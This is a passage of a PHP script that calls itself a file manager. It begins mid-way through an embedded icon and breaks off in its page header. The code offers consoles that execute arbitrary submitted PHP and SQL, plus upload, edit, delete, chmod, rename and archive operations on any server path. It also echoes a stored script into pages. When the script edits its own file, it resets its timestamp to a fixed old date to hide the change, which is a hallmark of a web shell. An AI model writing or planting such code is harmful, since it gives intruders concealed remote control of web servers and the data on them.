rSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
